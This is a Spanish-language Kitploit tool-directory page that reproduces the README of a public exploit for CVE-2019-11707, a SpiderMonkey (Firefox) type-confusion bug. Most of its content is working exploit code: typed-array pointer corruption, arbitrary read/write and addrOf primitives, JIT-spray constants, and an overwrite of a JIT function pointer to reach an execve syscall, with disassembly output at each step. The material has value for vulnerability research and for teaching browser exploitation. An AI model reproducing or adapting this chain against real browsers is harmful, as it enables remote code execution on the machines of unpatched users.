Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2019-11707 — https://bugs.chromium.org/p/project-zero/issues/detail?id=1820 | Kitploit
Herramientas/GitHubGitHub/flabbergastedbd/cve-2019-11707
Análisis de VulnerabilidadesExplotaciónShellcodeExplotación de Aplicaciones WebGeneración de ShellcodeDesarrollo de PayloadsExplotación de Binarios
GitHubflabbergastedbd/cve-2019-11707

cve-2019-11707

https://bugs.chromium.org/p/project-zero/issues/detail?id=1820

Ver Repositorio
22hace 6 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

SpiderMonkey - CVE-2019-11707

Bug: https://bugs.chromium.org/p/project-zero/issues/detail?id=1820

Capturas de pantalla

source

exploit

Archivos

  • exploit.js - Exploit real, precedido por los util.js y Int64.js de saelo.
  • stager.js - Se utiliza para crear constantes, precedido por los util.js y Int64.js de saelo.
  • stager.py - Se utiliza para ensamblar instrucciones con keystone. La salida se pasa a stager.js.

Resumen del exploit

  • Usa la confusión de tipos para escribir más allá de un búfer de array tipado (hecho en setup()).
root@kitploit:~
const exploit_pack = [
  new Uint8Array(0x10),
  new Uint8Array(0x10), // Use this [:8] to control data pointer of below array
  new Uint8Array(0x10), // Arbitrary RW array
]
  • TLDR: Escribe más allá del búfer subyacente de exploit_pack[0] hasta el campo de puntero de datos de exploit_pack[1]. Apúntalo a la dirección del campo de puntero de datos de exploit_pack[2].
root@kitploit:~
      // setup()
      const v11 = v4.pop();
      const addr = v11[11];
      v11[11] = Add(new Int64.fromDouble(addr), 0x58).asDouble();
  • Es posible la lectura/escritura (RW) arbitraria; la dirección se puede establecer como contenido de exploit_pack[1], lo que internamente modifica el puntero de datos de exploit_pack[2]. Luego usa exploit_pack[2] para leer o escribir memoria.
root@kitploit:~
function read(ptr) {
  read_addr = new Int64(ptr);
  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = read_addr.byteAt(idx);
  }

  let bytes = exploit_pack[2].slice(0, 8);
  // Remove 0xfffe in pointer
  // bytes[7] = 0x00; bytes[6] = 0x00;
  obj_addr = new Int64(bytes);
  // console.log(obj_addr);
  return obj_addr;
  // console.log(new Int64(obj_addr));
}

function write(ptr, value) {
  let addr = new Int64(ptr);
  let bytes = new Int64(value);

  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = addr.byteAt(idx);
  }

  for (var idx=0; idx < 8; idx++) {
    exploit_pack[2][idx] = bytes.byteAt(idx);
  }
}
  • Usando el propio exploit_pack, construye una primitiva addrOf.
root@kitploit:~
function addrOf(obj) {
  exploit_pack[3] = obj;

  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = leaking_addr.byteAt(idx);
  }

  let bytes = exploit_pack[2].slice(0, 8);
  // Remove 0xfffe in pointer
  bytes[7] = 0x00; bytes[6] = 0x00;
  obj_addr = new Int64(bytes);
  // console.log(obj_addr);
  return obj_addr;
  // console.log(new Int64(obj_addr));
}
  • Realiza un JIT spray de referencia, recorre algunas estructuras para obtener el puntero de la función jit, encuentra un desplazamiento interesante al que saltar. Sobrescribe el puntero de función real con este desplazamiento.

JIT Spray

  • En resumen, podemos forzar funciones como las siguientes hacia páginas r-x.
root@kitploit:~
const stager = function (a, b, c, d) {
  const rax = a;
  const rdi = b;
  const rsi = c;
  const rdx = d;

  const g0 = 9.073632937307107e-271;
  const g1 = 1.6063957816990143e-270;
  const g2 = 1.6082444981830348e-270;
  const g3 = 1.6100929890177583e-270;
  const g4 = 1.6119413952339954e-270;
  const g5 = 1.68020602465e-313;
}
  • Esto se ve aproximadamente así después del jit. Puedes ver nuestra constante 0xdeadc0debaad.

Actual JIT

root@kitploit:~
gef➤  disas /r 0x0000085a6e604531,+20
Dump of assembler code from 0x85a6e604531 to 0x85a6e604545:
   0x0000085a6e604531:  49 bb 80 ad ba de c0 ad de 07   movabs r11,0x7deadc0debaad80
   0x0000085a6e60453b:  4c 89 5d a8                      mov    QWORD PTR [rbp-0x58],r11
   0x0000085a6e60453f:  49 bb c0 48 8b 44 24 28 eb 07   movabs r11,0x7eb2824448b48c0
End of assembler dump.
  • Si los mismos bytes comienzan a interpretarse como instrucciones desde un desplazamiento diferente, como abajo, todo cambia. Esta es la esencia del JIT spray.

Offset JIT

root@kitploit:~
gef➤  disas /r 0x0000085a6e604542,+10
Dump of assembler code from 0x85a6e604542 to 0x85a6e604556:
   0x0000085a6e604542:  48 8b 44 24 28  mov    rax,QWORD PTR [rsp+0x28]
   0x0000085a6e604547:  eb 07           jmp    0x85a6e604550
End of assembler dump.
  • La idea es evitar de algún modo los bytes 4c 89 5d XX 49 bb 00 con 7 bytes que controlamos. Podemos saltar sobre esos bytes usando un jmp relativo.
root@kitploit:~
$ rasm2 -a x86 -b 64 "jmp 7"
eb05
  • Un jmp relativo ocupa 2 bytes, por lo que tenemos 5 bytes para escribir nuestras instrucciones en ensamblador. Los parámetros de la función JIT están disponibles en un desplazamiento de la pila cuando se llama a nuestra función. Por eso nuestra función JIT recibía parámetros.

registers

  • Según la convención de llamada x86-64 para syscalls en linux, necesitamos lo siguiente en los registros para una syscall execve.
root@kitploit:~
rax: syscall number
rdi: program path
rsi: argv
rdx: envp
  • Las siguientes instrucciones mov son una bendición para mover valores desde un desplazamiento en la pila a los registros correspondientes. Tienen exactamente 5 bytes.
root@kitploit:~
$ rasm2 -a x86 -b 64 "mov rdi, QWORD [rsp + 0x28]"
488b442428
  • Entonces, podemos construir nuestras constantes. Consulta stager.py -> stager.js para ver cómo se generaron.

  • Simplemente sobrescribe el puntero de la función JIT real en la estructura del objeto y reemplázalo por el desplazamiento. Llama a la función con los parámetros.

root@kitploit:~
write(jitGetter, jmpOffset);
stager(
  new Int64(59).asDouble(),
  new Int64(pathAddr).asDouble(),
  new Int64(argvBufferAddr).asDouble(),
  new Int64(environBufferAddr).asDouble());
  • Dada la forma en que está escrito stager, es fácil hacer cualquier syscall con 3 argumentos.

Enlaces súper útiles

  • https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/
  • https://doar-e.github.io/blog/2019/06/17/a-journey-into-ionmonkey-root-causing-cve-2019-9810/
  • https://vigneshsrao.github.io/writeup/
  • https://github.com/saelo/jscpwn
Descargar herramienta